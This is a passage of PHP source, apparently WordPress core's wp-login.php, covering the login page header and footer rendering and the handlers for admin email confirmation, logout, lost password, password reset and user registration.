	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" />
	<title><?php echo $login_title; ?></title>
	<?php

	wp_enqueue_style( 'login' );

	/*
	 * Remove all stored post data on logging out.
	 * This could be added by add_action('login_head'...) like wp_shake_js(),
	 * but maybe better if it's not removable by plugins.
	 */
	if ( 'loggedout' === $wp_error->get_error_code() ) {
		ob_start();
		?>
		<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
		<?php
		wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
	}

	/**
	 * Enqueues scripts and styles for the login page.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_enqueue_scripts' );

	/**
	 * Fires in the login page header after scripts are enqueued.
	 *
	 * @since 2.1.0
	 */
	do_action( 'login_head' );

	$login_header_url = __( 'https://wordpress.org/' );

	/**
	 * Filters link URL of the header logo above login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $login_header_url Login header logo URL.
	 */
	$login_header_url = apply_filters( 'login_headerurl', $login_header_url );

	$login_header_title = '';

	/**
	 * Filters the title attribute of the header logo above login form.
	 *
	 * @since 2.1.0
	 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead.
	 *
	 * @param string $login_header_title Login header logo title attribute.
	 */
	$login_header_title = apply_filters_deprecated(
		'login_headertitle',
		array( $login_header_title ),
		'5.2.0',
		'login_headertext',
		__( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' )
	);

	$login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title;

	/**
	 * Filters the link text of the header logo above the login form.
	 *
	 * @since 5.2.0
	 *
	 * @param string $login_header_text The login header logo link text.
	 */
	$login_header_text = apply_filters( 'login_headertext', $login_header_text );

	$classes = array( 'login-action-' . $action, 'wp-core-ui' );

	if ( is_rtl() ) {
		$classes[] = 'rtl';
	}

	if ( $interim_login ) {
		$classes[] = 'interim-login';

		?>
		<style type="text/css">html{background-color: transparent;}</style>
		<?php

		if ( 'success' === $interim_login ) {
			$classes[] = 'interim-login-success';
		}
	}

	$classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );

	/**
	 * Filters the login page body classes.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $classes An array of body classes.
	 * @param string   $action  The action that brought the visitor to the login page.
	 */
	$classes = apply_filters( 'login_body_class', $classes, $action );

	?>
	</head>
	<body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
	<?php
	wp_print_inline_script_tag( "document.body.className = document.body.className.replace('no-js','js');" );
	?>

	<?php
	/**
	 * Fires in the login page header after the body tag is opened.
	 *
	 * @since 4.6.0
	 */
	do_action( 'login_header' );

	?>
	<div id="login">
		<h1><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo $login_header_text; ?></a></h1>
	<?php
	/**
	 * Filters the message to display above the login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $message Login message text.
	 */
	$message = apply_filters( 'login_message', $message );

	if ( ! empty( $message ) ) {
		echo $message . "\n";
	}

	// In case a plugin uses $error rather than the $wp_errors object.
	if ( ! empty( $error ) ) {
		$wp_error->add( 'error', $error );
		unset( $error );
	}

	if ( $wp_error->has_errors() ) {
		$error_list = array();
		$messages   = '';

		foreach ( $wp_error->get_error_codes() as $code ) {
			$severity = $wp_error->get_error_data( $code );
			foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
				if ( 'message' === $severity ) {
					$messages .= '<p>' . $error_message . '</p>';
				} else {
					$error_list[] = $error_message;
				}
			}
		}

		if ( ! empty( $error_list ) ) {
			$errors = '';

			if ( count( $error_list ) > 1 ) {
				$errors .= '<ul class="login-error-list">';

				foreach ( $error_list as $item ) {
					$errors .= '<li>' . $item . '</li>';
				}

				$errors .= '</ul>';
			} else {
				$errors .= '<p>' . $error_list[0] . '</p>';
			}

			/**
			 * Filters the error messages displayed above the login form.
			 *
			 * @since 2.1.0
			 *
			 * @param string $errors Login error messages.
			 */
			$errors = apply_filters( 'login_errors', $errors );

			wp_admin_notice(
				$errors,
				array(
					'type'           => 'error',
					'id'             => 'login_error',
					'paragraph_wrap' => false,
				)
			);
		}

		if ( ! empty( $messages ) ) {
			/**
			 * Filters instructional messages displayed above the login form.
			 *
			 * @since 2.5.0
			 *
			 * @param string $messages Login messages.
			 */
			$messages = apply_filters( 'login_messages', $messages );

			wp_admin_notice(
				$messages,
				array(
					'type'               => 'info',
					'id'                 => 'login-message',
					'additional_classes' => array( 'message' ),
					'paragraph_wrap'     => false,
				)
			);
		}
	}
} // End of login_header().

/**
 * Outputs the footer for the login page.
 *
 * @since 3.1.0
 *
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 *
 * @param string $input_id Which input to auto-focus.
 */
function login_footer( $input_id = '' ) {
	global $interim_login;

	// Don't allow interim logins to navigate away from the page.
	if ( ! $interim_login ) {
		?>
		<p id="backtoblog">
			<?php
			$html_link = sprintf(
				'<a href="%s">%s</a>',
				esc_url( home_url( '/' ) ),
				sprintf(
					/* translators: %s: Site title. */
					_x( '&larr; Go to %s', 'site' ),
					get_bloginfo( 'title', 'display' )
				)
			);
			/**
			 * Filters the "Go to site" link displayed in the login page footer.
			 *
			 * @since 5.7.0
			 *
			 * @param string $link HTML link to the home URL of the current site.
			 */
			echo apply_filters( 'login_site_html_link', $html_link );
			?>
		</p>
		<?php

		the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' );
	}

	?>
	</div><?php // End of <div id="login">. ?>

	<?php
	if (
		! $interim_login &&
		/**
		 * Filters whether to display the Language selector on the login screen.
		 *
		 * @since 5.9.0
		 *
		 * @param bool $display Whether to display the Language selector on the login screen.
		 */
		apply_filters( 'login_display_language_dropdown', true )
	) {
		$languages = get_available_languages();

		if ( ! empty( $languages ) ) {
			?>
			<div class="language-switcher">
				<form id="language-switcher" method="get">

					<label for="language-switcher-locales">
						<span class="dashicons dashicons-translation" aria-hidden="true"></span>
						<span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Language' );
							?>
						</span>
					</label>

					<?php
					$args = array(
						'id'                          => 'language-switcher-locales',
						'name'                        => 'wp_lang',
						'selected'                    => determine_locale(),
						'show_available_translations' => false,
						'explicit_option_en_us'       => true,
						'languages'                   => $languages,
					);

					/**
					 * Filters default arguments for the Languages select input on the login screen.
					 *
					 * The arguments get passed to the wp_dropdown_languages() function.
					 *
					 * @since 5.9.0
					 *
					 * @param array $args Arguments for the Languages select input on the login screen.
					 */
					wp_dropdown_languages( apply_filters( 'login_language_dropdown_args', $args ) );
					?>

					<?php if ( $interim_login ) { ?>
						<input type="hidden" name="interim-login" value="1" />
					<?php } ?>

					<?php if ( isset( $_GET['redirect_to'] ) && '' !== $_GET['redirect_to'] ) { ?>
						<input type="hidden" name="redirect_to" value="<?php echo sanitize_url( $_GET['redirect_to'] ); ?>" />
					<?php } ?>

					<?php if ( isset( $_GET['action'] ) && '' !== $_GET['action'] ) { ?>
						<input type="hidden" name="action" value="<?php echo esc_attr( $_GET['action'] ); ?>" />
					<?php } ?>

						<input type="submit" class="button" value="<?php esc_attr_e( 'Change' ); ?>">

					</form>
				</div>
		<?php } ?>
	<?php } ?>
	<?php

	if ( ! empty( $input_id ) ) {
		ob_start();
		?>
		<script>
		try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
		if(typeof wpOnload==='function')wpOnload();
		</script>
		<?php
		wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
	}

	/**
	 * Fires in the login page footer.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_footer' );

	?>
	</body>
	</html>
	<?php
}

/**
 * Outputs the JavaScript to handle the form shaking on the login page.
 *
 * @since 3.0.0
 */
function wp_shake_js() {
	wp_print_inline_script_tag( "document.querySelector('form').classList.add('shake');" );
}

/**
 * Outputs the viewport meta tag for the login page.
 *
 * @since 3.7.0
 */
function wp_login_viewport_meta() {
	?>
	<meta name="viewport" content="width=device-width" />
	<?php
}

/*
 * Main part.
 *
 * Check the request and redirect or display a form based on the current action.
 */

$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset( $_GET['key'] ) ) {
	$action = 'resetpass';
}

if ( isset( $_GET['checkemail'] ) ) {
	$action = 'checkemail';
}

$default_actions = array(
	'confirm_admin_email',
	'postpass',
	'logout',
	'lostpassword',
	'retrievepassword',
	'resetpass',
	'rp',
	'register',
	'checkemail',
	'confirmaction',
	'login',
	WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED,
);

// Validate action so as to default to the login screen.
if ( ! in_array( $action, $default_actions, true ) && false === has_filter( 'login_form_' . $action ) ) {
	$action = 'login';
}

nocache_headers();

header( 'Content-Type: ' . get_bloginfo( 'html_type' ) . '; charset=' . get_bloginfo( 'charset' ) );

if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set.
	if ( isset( $_SERVER['PATH_INFO'] ) && ( $_SERVER['PATH_INFO'] !== $_SERVER['PHP_SELF'] ) ) {
		$_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
	}

	$url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );

	if ( get_option( 'siteurl' ) !== $url ) {
		update_option( 'siteurl', $url );
	}
}

// Set a cookie now to see if they are supported by the browser.
$secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) );
setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure );

if ( SITECOOKIEPATH !== COOKIEPATH ) {
	setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure );
}

if ( isset( $_GET['wp_lang'] ) ) {
	setcookie( 'wp_lang', sanitize_text_field( $_GET['wp_lang'] ), 0, COOKIEPATH, COOKIE_DOMAIN, $secure );
}

/**
 * Fires when the login form is initialized.
 *
 * @since 3.2.0
 */
do_action( 'login_init' );

/**
 * Fires before a specified login form action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the action
 * that brought the visitor to the login form.
 *
 * Possible hook names include:
 *
 *  - `login_form_checkemail`
 *  - `login_form_confirm_admin_email`
 *  - `login_form_confirmaction`
 *  - `login_form_entered_recovery_mode`
 *  - `login_form_login`
 *  - `login_form_logout`
 *  - `login_form_lostpassword`
 *  - `login_form_postpass`
 *  - `login_form_register`
 *  - `login_form_resetpass`
 *  - `login_form_retrievepassword`
 *  - `login_form_rp`
 *
 * @since 2.8.0
 */
do_action( "login_form_{$action}" );

$http_post     = ( 'POST' === $_SERVER['REQUEST_METHOD'] );
$interim_login = isset( $_REQUEST['interim-login'] );

/**
 * Filters the separator used between login form navigation links.
 *
 * @since 4.9.0
 *
 * @param string $login_link_separator The separator used between login form navigation links.
 */
$login_link_separator = apply_filters( 'login_link_separator', ' | ' );

switch ( $action ) {

	case 'confirm_admin_email':
		/*
		 * Note that `is_user_logged_in()` will return false immediately after logging in
		 * as the current user is not set, see wp-includes/pluggable.php.
		 * However this action runs on a redirect after logging in.
		 */
		if ( ! is_user_logged_in() ) {
			wp_safe_redirect( wp_login_url() );
			exit;
		}

		if ( ! empty( $_REQUEST['redirect_to'] ) ) {
			$redirect_to = $_REQUEST['redirect_to'];
		} else {
			$redirect_to = admin_url();
		}

		if ( current_user_can( 'manage_options' ) ) {
			$admin_email = get_option( 'admin_email' );
		} else {
			wp_safe_redirect( $redirect_to );
			exit;
		}

		/**
		 * Filters the interval for dismissing the admin email confirmation screen.
		 *
		 * If `0` (zero) is returned, the "Remind me later" link will not be displayed.
		 *
		 * @since 5.3.1
		 *
		 * @param int $interval Interval time (in seconds). Default is 3 days.
		 */
		$remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS );

		if ( ! empty( $_GET['remind_me_later'] ) ) {
			if ( ! wp_verify_nonce( $_GET['remind_me_later'], 'remind_me_later_nonce' ) ) {
				wp_safe_redirect( wp_login_url() );
				exit;
			}

			if ( $remind_interval > 0 ) {
				update_option( 'admin_email_lifespan', time() + $remind_interval );
			}

			$redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to );
			wp_safe_redirect( $redirect_to );
			exit;
		}

		if ( ! empty( $_POST['correct-admin-email'] ) ) {
			if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) {
				wp_safe_redirect( wp_login_url() );
				exit;
			}

			/**
			 * Filters the interval for redirecting the user to the admin email confirmation screen.
			 *
			 * If `0` (zero) is returned, the user will not be redirected.
			 *
			 * @since 5.3.0
			 *
			 * @param int $interval Interval time (in seconds). Default is 6 months.
			 */
			$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );

			if ( $admin_email_check_interval > 0 ) {
				update_option( 'admin_email_lifespan', time() + $admin_email_check_interval );
			}

			wp_safe_redirect( $redirect_to );
			exit;
		}

		login_header( __( 'Confirm your administration email' ), '', $errors );

		/**
		 * Fires before the admin email confirm form.
		 *
		 * @since 5.3.0
		 *
		 * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
		 *                         credentials. Note that the error object may not contain any errors.
		 */
		do_action( 'admin_email_confirm', $errors );

		?>

		<form class="admin-email-confirm-form" name="admin-email-confirm-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=confirm_admin_email', 'login_post' ) ); ?>" method="post">
			<?php
			/**
			 * Fires inside the admin-email-confirm-form form tags, before the hidden fields.
			 *
			 * @since 5.3.0
			 */
			do_action( 'admin_email_confirm_form' );

			wp_nonce_field( 'confirm_admin_email', 'confirm_admin_email_nonce' );

			?>
			<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />

			<h1 class="admin-email__heading">
				<?php _e( 'Administration email verification' ); ?>
			</h1>
			<p class="admin-email__details">
				<?php _e( 'Please verify that the <strong>administration email</strong> for this website is still correct.' ); ?>
				<?php

				/* translators: URL to the WordPress help section about admin email. */
				$admin_email_help_url = __( 'https://wordpress.org/documentation/article/settings-general-screen/#email-address' );

				$accessibility_text = sprintf(
					'<span class="screen-reader-text"> %s</span>',
					/* translators: Hidden accessibility text. */
					__( '(opens in a new tab)' )
				);

				printf(
					'<a href="%s" rel="noopener" target="_blank">%s%s</a>',
					esc_url( $admin_email_help_url ),
					__( 'Why is this important?' ),
					$accessibility_text
				);

				?>
			</p>
			<p class="admin-email__details">
				<?php

				printf(
					/* translators: %s: Admin email address. */
					__( 'Current administration email: %s' ),
					'<strong>' . esc_html( $admin_email ) . '</strong>'
				);

				?>
			</p>
			<p class="admin-email__details">
				<?php _e( 'This email may be different from your personal email address.' ); ?>
			</p>

			<div class="admin-email__actions">
				<div class="admin-email__actions-primary">
					<?php

					$change_link = admin_url( 'options-general.php' );
					$change_link = add_query_arg( 'highlight', 'confirm_admin_email', $change_link );

					?>
					<a class="button button-large" href="<?php echo esc_url( $change_link ); ?>"><?php _e( 'Update' ); ?></a>
					<input type="submit" name="correct-admin-email" id="correct-admin-email" class="button button-primary button-large" value="<?php esc_attr_e( 'The email is correct' ); ?>" />
				</div>
				<?php if ( $remind_interval > 0 ) : ?>
					<div class="admin-email__actions-secondary">
						<?php

						$remind_me_link = wp_login_url( $redirect_to );
						$remind_me_link = add_query_arg(
							array(
								'action'          => 'confirm_admin_email',
								'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ),
							),
							$remind_me_link
						);

						?>
						<a href="<?php echo esc_url( $remind_me_link ); ?>"><?php _e( 'Remind me later' ); ?></a>
					</div>
				<?php endif; ?>
			</div>
		</form>

		<?php

		login_footer();
		break;

	case 'postpass':
		if ( ! array_key_exists( 'post_password', $_POST ) ) {
			wp_safe_redirect( wp_get_referer() );
			exit;
		}

		require_once ABSPATH . WPINC . '/class-phpass.php';
		$hasher = new PasswordHash( 8, true );

		/**
		 * Filters the life span of the post password cookie.
		 *
		 * By default, the cookie expires 10 days from creation. To turn this
		 * into a session cookie, return 0.
		 *
		 * @since 3.7.0
		 *
		 * @param int $expires The expiry time, as passed to setcookie().
		 */
		$expire  = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
		$referer = wp_get_referer();

		if ( $referer ) {
			$secure = ( 'https' === parse_url( $referer, PHP_URL_SCHEME ) );
		} else {
			$secure = false;
		}

		setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );

		wp_safe_redirect( wp_get_referer() );
		exit;

	case 'logout':
		check_admin_referer( 'log-out' );

		$user = wp_get_current_user();

		wp_logout();

		if ( ! empty( $_REQUEST['redirect_to'] ) ) {
			$redirect_to           = $_REQUEST['redirect_to'];
			$requested_redirect_to = $redirect_to;
		} else {
			$redirect_to = add_query_arg(
				array(
					'loggedout' => 'true',
					'wp_lang'   => get_user_locale( $user ),
				),
				wp_login_url()
			);

			$requested_redirect_to = '';
		}

		/**
		 * Filters the log out redirect URL.
		 *
		 * @since 4.2.0
		 *
		 * @param string  $redirect_to           The redirect destination URL.
		 * @param string  $requested_redirect_to The requested redirect destination URL passed as a parameter.
		 * @param WP_User $user                  The WP_User object for the user that's logging out.
		 */
		$redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user );

		wp_safe_redirect( $redirect_to );
		exit;

	case 'lostpassword':
	case 'retrievepassword':
		if ( $http_post ) {
			$errors = retrieve_password();

			if ( ! is_wp_error( $errors ) ) {
				$redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
				wp_safe_redirect( $redirect_to );
				exit;
			}
		}

		if ( isset( $_GET['error'] ) ) {
			if ( 'invalidkey' === $_GET['error'] ) {
				$errors->add( 'invalidkey', __( '<strong>Error:</strong> Your password reset link appears to be invalid. Please request a new link below.' ) );
			} elseif ( 'expiredkey' === $_GET['error'] ) {
				$errors->add( 'expiredkey', __( '<strong>Error:</strong> Your password reset link has expired. Please request a new link below.' ) );
			}
		}

		$lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
		/**
		 * Filters the URL redirected to after submitting the lostpassword/retrievepassword form.
		 *
		 * @since 3.0.0
		 *
		 * @param string $lostpassword_redirect The redirect destination URL.
		 */
		$redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );

		/**
		 * Fires before the lost password form.
		 *
		 * @since 1.5.1
		 * @since 5.1.0 Added the `$errors` parameter.
		 *
		 * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
		 *                         credentials. Note that the error object may not contain any errors.
		 */
		do_action( 'lost_password', $errors );

		login_header(
			__( 'Lost Password' ),
			wp_get_admin_notice(
				__( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ),
				array(
					'type'               => 'info',
					'additional_classes' => array( 'message' ),
				)
			),
			$errors
		);

		$user_login = '';

		if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
			$user_login = wp_unslash( $_POST['user_login'] );
		}

		?>

		<form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post">
			<p>
				<label for="user_login"><?php _e( 'Username or Email Address' ); ?></label>
				<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
			</p>
			<?php

			/**
			 * Fires inside the lostpassword form tags, before the hidden fields.
			 *
			 * @since 2.1.0
			 */
			do_action( 'lostpassword_form' );

			?>
			<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
			<p class="submit">
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Get New Password' ); ?>" />
			</p>
		</form>

		<p id="nav">
			<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
			<?php

			if ( get_option( 'users_can_register' ) ) {
				$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );

				echo esc_html( $login_link_separator );

				/** This filter is documented in wp-includes/general-template.php */
				echo apply_filters( 'register', $registration_url );
			}

			?>
		</p>
		<?php

		login_footer( 'user_login' );
		break;

	case 'resetpass':
	case 'rp':
		list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
		$rp_cookie       = 'wp-resetpass-' . COOKIEHASH;

		if ( isset( $_GET['key'] ) && isset( $_GET['login'] ) ) {
			$value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) );
			setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true );

			wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) );
			exit;
		}

		if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) {
			list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 );

			$user = check_password_reset_key( $rp_key, $rp_login );

			if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
				$user = false;
			}
		} else {
			$user = false;
		}

		if ( ! $user || is_wp_error( $user ) ) {
			setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );

			if ( $user && $user->get_error_code() === 'expired_key' ) {
				wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
			} else {
				wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
			}

			exit;
		}

		$errors = new WP_Error();

		// Check if password is one or all empty spaces.
		if ( ! empty( $_POST['pass1'] ) ) {
			$_POST['pass1'] = trim( $_POST['pass1'] );

			if ( empty( $_POST['pass1'] ) ) {
				$errors->add( 'password_reset_empty_space', __( 'The password cannot be a space or all spaces.' ) );
			}
		}

		// Check if password fields do not match.
		if ( ! empty( $_POST['pass1'] ) && trim( $_POST['pass2'] ) !== $_POST['pass1'] ) {
			$errors->add( 'password_reset_mismatch', __( '<strong>Error:</strong> The passwords do not match.' ) );
		}

		/**
		 * Fires before the password reset procedure is validated.
		 *
		 * @since 3.5.0
		 *
		 * @param WP_Error         $errors WP Error object.
		 * @param WP_User|WP_Error $user   WP_User object if the login and reset key match. WP_Error object otherwise.
		 */
		do_action( 'validate_password_reset', $errors, $user );

		if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) {
			reset_password( $user, $_POST['pass1'] );
			setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
			login_header(
				__( 'Password Reset' ),
				wp_get_admin_notice(
					__( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a>',
					array(
						'type'               => 'info',
						'additional_classes' => array( 'message', 'reset-pass' ),
					)
				)
			);
			login_footer();
			exit;
		}

		wp_enqueue_script( 'utils' );
		wp_enqueue_script( 'user-profile' );

		login_header(
			__( 'Reset Password' ),
			wp_get_admin_notice(
				__( 'Enter your new password below or generate one.' ),
				array(
					'type'               => 'info',
					'additional_classes' => array( 'message', 'reset-pass' ),
				)
			),
			$errors
		);

		?>
		<form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off">
			<input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" />

			<div class="user-pass1-wrap">
				<p>
					<label for="pass1"><?php _e( 'New password' ); ?></label>
				</p>

				<div class="wp-pwd">
					<input type="password" name="pass1" id="pass1" class="input password-input" size="24" value="" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" aria-describedby="pass-strength-result" />

					<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
						<span class="dashicons dashicons-hidden" aria-hidden="true"></span>
					</button>
					<div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div>
				</div>
				<div class="pw-weak">
					<input type="checkbox" name="pw_weak" id="pw-weak" class="pw-checkbox" />
					<label for="pw-weak"><?php _e( 'Confirm use of weak password' ); ?></label>
				</div>
			</div>

			<p class="user-pass2-wrap">
				<label for="pass2"><?php _e( 'Confirm new password' ); ?></label>
				<input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="new-password" spellcheck="false" />
			</p>

			<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>

			<?php

			/**
			 * Fires following the 'Strength indicator' meter in the user password reset form.
			 *
			 * @since 3.9.0
			 *
			 * @param WP_User $user User object of the user whose password is being reset.
			 */
			do_action( 'resetpass_form', $user );

			?>
			<input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />
			<p class="submit reset-pass-submit">
				<button type="button" class="button wp-generate-pw hide-if-no-js skip-aria-expanded"><?php _e( 'Generate Password' ); ?></button>
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Save Password' ); ?>" />
			</p>
		</form>

		<p id="nav">
			<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
			<?php

			if ( get_option( 'users_can_register' ) ) {
				$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );

				echo esc_html( $login_link_separator );

				/** This filter is documented in wp-includes/general-template.php */
				echo apply_filters( 'register', $registration_url );
			}

			?>
		</p>
		<?php

		login_footer( 'pass1' );
		break;

	case 'register':
		if ( is_multisite() ) {
			/**
			 * Filters the Multisite sign up URL.
			 *
			 * @since 3.0.0
			 *
			 * @param string $sign_up_url The sign up URL.
			 */
			wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) );
			exit;
		}

		if ( ! get_option( 'users_can_register' ) ) {
			wp_redirect( site_url( 'wp-login.php?registration=disabled' ) );
			exit;
		}

		$user_login = '';
		$user_email = '';

		if ( $http_post ) {
			if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) {
				$user_login = wp_unslash( $_POST['user_login'] );
			}

			if ( isset( $_POST['user_email'] ) && is_string( $_POST['user_email'] ) ) {
				$user_email = wp_unslash( $_POST['user_email'] );
			}

			$errors = register_new_user( $user_login, $user_email );

			if ( ! is_wp_error( $errors ) ) {
				$redirect_to = ! empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
				wp_safe_redirect( $redirect_to );
				exit;
			}
		}

		$registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';

		/**
		 * Filters the registration redirect URL.
		 *
		 * @since 3.0.0
		 * @since 5.9.0 Added the `$errors` parameter.
		 *
		 * @param string       $registration_redirect The redirect destination URL.
		 * @param int|WP_Error $errors                User id if registration was successful,
		 *                                            WP_Error object otherwise.
		 */
		$redirect_to = apply_filters( 'registration_redirect', $registration_redirect, $errors );

		login_header(
			__( 'Registration Form' ),
			wp_get_admin_notice(
				__( 'Register For This Site' ),
				array(
					'type'               => 'info',
					'additional_classes' => array( 'message', 'register' ),
				)
			),
			$errors
		);

		?>
		<form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
			<p>
				<label for="user_login"><?php _e( 'Username' ); ?></label>
				<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( wp_unslash( $user_login ) ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
			</p>
			<p>
				<label for="user_email"><?php _e( 'Email' ); ?></label>
				<input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( wp_unslash( $user_email ) ); ?>" size="25" autocomplete="email" required="required" />
			</p>
			<?php

			/**
			 * Fires following the 'Email' field in the user registration form.
			 *
			 * @since 2.1.0
			 */
			do_action( 'register_form' );

			?>
			<p id="reg_passmail">
				<?php _e( 'Registration confirmation will be emailed to you.' ); ?>
			</p>
			<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
			<p class="submit">
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Register' ); ?>" />
			</p>
		</form>

		<p id="nav">
			<a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
			<?php

			echo esc_html( $login_link_separator );

			$html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) );

			/** This filter is documented in wp-login.php */
			echo apply_filters( 'lost_password_html_link', $html_link );

			?>
		</p>
		<?php

		login_footer( 'user_login' );
		break;

	case 'checkemail':
		$redirect_to = admin_url();
		$errors      = new WP_Error();

		if ( 'confirm' === $_GET['checkemail'] ) {
			$errors->add(
				'confirm',
				sprintf(
					/* translators: %s: Link to the login page. */
